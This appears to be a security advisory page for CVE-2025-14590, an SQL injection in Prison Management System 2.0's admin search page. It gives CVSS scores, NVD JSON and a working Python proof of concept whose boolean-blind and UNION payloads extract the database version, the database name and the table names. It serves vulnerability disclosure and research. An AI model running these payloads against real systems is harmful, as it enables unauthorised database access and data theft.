Security Vulnerability Report
中文
CVE-2025-14590 CVSS 7.3 HIGH

CVE-2025-14590

Published: 2025-12-13 16:16:52
Last Modified: 2026-04-29 01:00:02

Description

A security vulnerability has been detected in code-projects Prison Management System 2.0. Impacted is an unknown function of the file /admin/search1.php. The manipulation of the argument keyname leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:carmelo:prison_management_system:2.0:*:*:*:*:*:*:* - VULNERABLE
Prison Management System 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14590 SQL Injection PoC # Target: Prison Management System 2.0 # File: /admin/search1.php # Parameter: keyname import requests import sys def test_sql_injection(url): """Test for SQL injection vulnerability in search1.php""" # Test payload - Boolean based blind injection true_payload = "' OR '1'='1" false_payload = "' AND '1'='2" # Normal request normal_params = {'keyname': 'test'} # Vulnerable payload - OR condition always true vulnerable_params = {'keyname': true_payload} # Payload that should return different result blind_params = {'keyname': false_payload} try: print(f"[*] Testing target: {url}") print(f"[*] Sending normal request...") normal_resp = requests.get(url, params=normal_params, timeout=10) print(f"[*] Sending SQL injection payload: {true_payload}") vuln_resp = requests.get(url, params=vulnerable_params, timeout=10) print(f"[*] Sending blind test payload: {false_payload}") blind_resp = requests.get(url, params=blind_params, timeout=10) # Check if injection works by comparing response differences if len(vuln_resp.text) != len(blind_resp.text): print("[+] VULNERABLE: SQL injection detected!") print(f"[+] True condition response length: {len(vuln_resp.text)}") print(f"[+] False condition response length: {len(blind_resp.text)}") return True else: print("[-] Not vulnerable or target not responding") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def extract_data(url): """Extract database information using UNION-based injection""" # Database version extraction payload version_payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL---" # Database name extraction payload dbname_payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL---" # Tables extraction payload tables_payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---" payloads = { 'version': version_payload, 'database': dbname_payload, 'tables': tables_payload } for info_type, payload in payloads.items(): try: params = {'keyname': payload} response = requests.get(url, params=params, timeout=10) print(f"\n[*] Extracting {info_type}...") print(f"[Response snippet]: {response.text[:500]}") except Exception as e: print(f"[!] Error extracting {info_type}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = "http://target-site.com/admin/search1.php" if test_sql_injection(target_url): print("\n[*] Attempting data extraction...") extract_data(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14590", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:52.480", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in code-projects Prison Management System 2.0. Impacted is an unknown function of the file /admin/search1.php. The manipulation of the argument keyname leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:prison_management_system:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "D90A894A-3241-4171-997B-B9EB6B5BE956"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/asd1238525/cve/blob/main/SQL19.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.336210", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.336210", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.707096", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}